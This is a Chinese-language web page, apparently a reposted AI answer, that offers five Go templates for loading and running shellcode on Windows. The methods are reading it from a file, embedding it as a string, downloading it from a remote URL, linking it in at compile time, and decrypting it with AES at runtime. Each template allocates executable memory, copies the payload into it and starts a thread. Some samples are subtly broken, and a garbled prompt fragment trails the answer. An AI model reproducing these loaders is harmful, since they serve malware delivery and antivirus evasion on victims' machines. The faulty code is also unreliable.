除了远程加载和内存加载之外,还有以下几种加载shellcode的方式:

  1. 文件加载:将shellcode保存在文件中,然后使用文件读取函数将shellcode加载到内存中,执行shellcode。
package main

import (
	"io/ioutil"
	"syscall"
	"unsafe"
)

func main() {
	shellcode, _ := ioutil.ReadFile("shellcode.bin")
	allocatedMemory, _, _ := syscall.Syscall6(syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualAlloc").Addr(), 4, 0, uintptr(len(shellcode)), 0x3000, 0x40, 0, 0)
	syscall.Syscall6(syscall.NewLazyDLL("kernel32.dll").NewProc("RtlMoveMemory").Addr(), 3, allocatedMemory, uintptr(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)), 0, 0, 0)
	syscall.Syscall6(syscall.NewLazyDLL("kernel32.dll").NewProc("CreateThread").Addr(), 6, 0, 0, allocatedMemory, 0, 0, 0)
}
  1. 字符串加载:直接将shellcode定义为字符串,然后使用syscall.StringToUTF16Ptr将字符串转换为UTF-16格式,并加载到内存中执行。
package main

import (
	"syscall"
	"unsafe"
)

func main() {
	shellcode := "\x90\x90\x90..."
	shellcodeUTF16 := syscall.StringToUTF16Ptr(shellcode)
	allocatedMemory, _, _ := syscall.Syscall6(syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualAlloc").Addr(), 4, 0, uintptr(len(shellcode)), 0x3000, 0x40, 0, 0)
	syscall.Syscall6(syscall.NewLazyDLL("kernel32.dll").NewProc("RtlMoveMemory").Addr(), 3, allocatedMemory, uintptr(unsafe.Pointer(shellcodeUTF16)), uintptr(len(shellcode)), 0, 0, 0)
	syscall.Syscall6(syscall.NewLazyDLL("kernel32.dll").NewProc("CreateThread").Addr(), 6, 0, 0, allocatedMemory, 0, 0, 0)
}
  1. 通过网络加载:从远程服务器下载shellcode,然后加载到内存中执行。
package main

import (
	"io/ioutil"
	"net/http"
	"syscall"
	"unsafe"
)

func main() {
	resp, _ := http.Get("http://example.com/shellcode.bin")
	defer resp.Body.Close()
	shellcode, _ := ioutil.ReadAll(resp.Body)
	allocatedMemory, _, _ := syscall.Syscall6(syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualAlloc").Addr(), 4, 0, uintptr(len(shellcode)), 0x3000, 0x40, 0, 0)
	syscall.Syscall6(syscall.NewLazyDLL("kernel32.dll").NewProc("RtlMoveMemory").Addr(), 3, allocatedMemory, uintptr(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)), 0, 0, 0)
	syscall.Syscall6(syscall.NewLazyDLL("kernel32.dll").NewProc("CreateThread").Addr(), 6, 0, 0, allocatedMemory, 0, 0, 0)
}
  1. 编译时加载:将shellcode嵌入可执行文件中,编译时直接加载shellcode到内存中执行。
package main

import (
	"syscall"
	"unsafe"
)

//go:linkname shellcodeBin
var shellcodeBin []byte

func main() {
	allocatedMemory, _, _ := syscall.Syscall6(syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualAlloc").Addr(), 4, 0, uintptr(len(shellcodeBin)), 0x3000, 0x40, 0, 0)
	syscall.Syscall6(syscall.NewLazyDLL("kernel32.dll").NewProc("RtlMoveMemory").Addr(), 3, allocatedMemory, uintptr(unsafe.Pointer(&shellcodeBin[0])), uintptr(len(shellcodeBin)), 0, 0, 0)
	syscall.Syscall6(syscall.NewLazyDLL("kernel32.dll").NewProc("CreateThread").Addr(), 6, 0, 0, allocatedMemory, 0, 0, 0)
}
  1. 加密加载:将shellcode进行加密,然后在运行时解密并加载到内存中执行。
package main

import (
	"crypto/aes"
	"crypto/cipher"
	"syscall"
	"unsafe"
)

func main() {
	encryptedShellcode := []byte(<encrypted_shellcode>)
	key := []byte(<encryption_key>)
	iv := []byte(<initialization_vector>)

	block, _ := aes.NewCipher(key)
	decrypter := cipher.NewCBCDecrypter(block, iv)
	decryptedShellcode := make([]byte, len(encryptedShellcode))
	decrypter.CryptBlocks(decryptedShellcode, encryptedShellcode)

	allocatedMemory, _, _ := syscall.Syscall6(syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualAlloc").Addr(), 4, 0, uintptr(len(decryptedShellcode)), 0x3000, 0x40, 0, 0)
	syscall.Syscall6(syscall.NewLazyDLL("kernel32.dll").NewProc("RtlMoveMemory").Addr(), 3, allocatedMemory, uintptr(unsafe.Pointer(&decryptedShellcode[0])), uintptr(len(decryptedShellcode)), 0, 0, 0)
	syscall.Syscall6(syscall.NewLazyDLL("kernel32.dll").NewProc("CreateThread").Addr(), 6, 0, 0, allocatedMemory, 0, 0, 0)
}

请注意,上述代码中的<shellcode><encrypted_shellcode><encryption_key><initialization_vector>需要根据实际情况进行替换

有其他不同go语言加载shellcode类型的例子除了远程内存加载这种方式还有哪几种方式举例再举例五个package mainimport 	syscall	unsafefunc main 	shellcode = byteshellcode	allocatedMemory _ _ = syscallSyscall6syscallNewLazyDLLkernel32dllNewProcVirtua

原文地址: https://www.cveoy.top/t/topic/hN5w 著作权归作者所有。请勿转载和采集!

免费AI点我,无需注册和登录